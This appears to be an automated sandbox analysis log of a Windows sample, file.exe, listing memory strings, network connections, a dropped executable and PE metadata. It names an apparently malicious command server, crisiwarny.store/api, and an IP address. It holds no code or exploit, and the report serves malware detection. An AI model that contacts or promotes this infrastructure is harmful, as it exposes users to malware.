Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2323547911.0000000001150000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store
Source: file.exe, 00000000.00000003.2199880231.000000000115C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/0v
Source: file.exe, 00000000.00000003.2213266340.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213381477.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/7
Source: file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/?
Source: file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/O
Source: file.exe, 00000000.00000003.2196489083.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243948329.0000000001170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.2243825480.000000000116E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323257108.0000000001171000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323516417.0000000001171000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2224217452.000000000116E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243948329.0000000001170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api6Co~
Source: file.exe, 00000000.00000003.2164919735.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiny
Source: file.exe, 00000000.00000003.2196045132.0000000001160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apire1
Source: file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apixe
Source: file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/h
Source: file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/o
Source: file.exe, 00000000.00000003.2213266340.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213381477.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/r
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49712 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name:
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Code function: 3_2_0084E12C		3_2_0084E12C
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Code function: 3_2_009C1F4B		3_2_009C1F4B

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 1880

Source: file.exe, 00000000.00000003.2302941448.0000000005F53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303099873.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303306493.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323846308.000000000610F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292633136.0000000005EEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294215745.0000000005E49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294003612.0000000005E49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308976713.0000000005F6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298882179.0000000005E43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291588585.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301970969.0000000005F4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292869784.0000000005EE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302117986.0000000005E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311474247.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291374364.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306567302.0000000005E44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295279989.0000000005EF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293206791.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316813814.0000000005F76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294991558.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301052651.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302505288.000000000605D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291205595.0000000005E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304301407.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295381993.0000000005FAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305370707.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293789269.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300605970.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297014371.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309426892.00000000060A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303943826.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296810431.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293306874.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290620605.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299655397.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292058014.0000000005E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298173957.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291936538.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300854772.0000000005E44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294106152.0000000005EFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295629281.0000000005F02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299925691.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291810419.0000000005E47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303619840.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292960004.0000000005F8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290317993.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291691908.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298381167.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314659233.0000000005E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296652386.0000000005E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295174870.0000000005E43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298988613.0000000005F30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295528575.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297410811.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295088298.0000000005F04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310885965.0000000005F7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323211556.0000000005A24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290453513.0000000005CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298273180.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301830416.0000000005E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294846363.0000000005FB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292507831.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290897343.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294597496.0000000005EF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307525768.0000000005F67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301446960.0000000005F32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296014738.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301699247.0000000006029000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296488684.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300031053.0000000005F39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296305035.0000000005E47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323257108.000000000115E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297715789.0000000005F13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304988322.0000000005E43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304490266.0000000006080000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297192896.0000000005F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297575796.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302744178.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300143231.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299533917.0000000005F35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301176094.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300249345.0000000005F37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298695307.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308502779.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304131089.0000000005E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296131972.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315717750.0000000005F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292758254.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293896317.0000000005F00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299170266.0000000006020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300421577.0000000005E44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299812590.0000000005F32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303771399.0000000005E43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
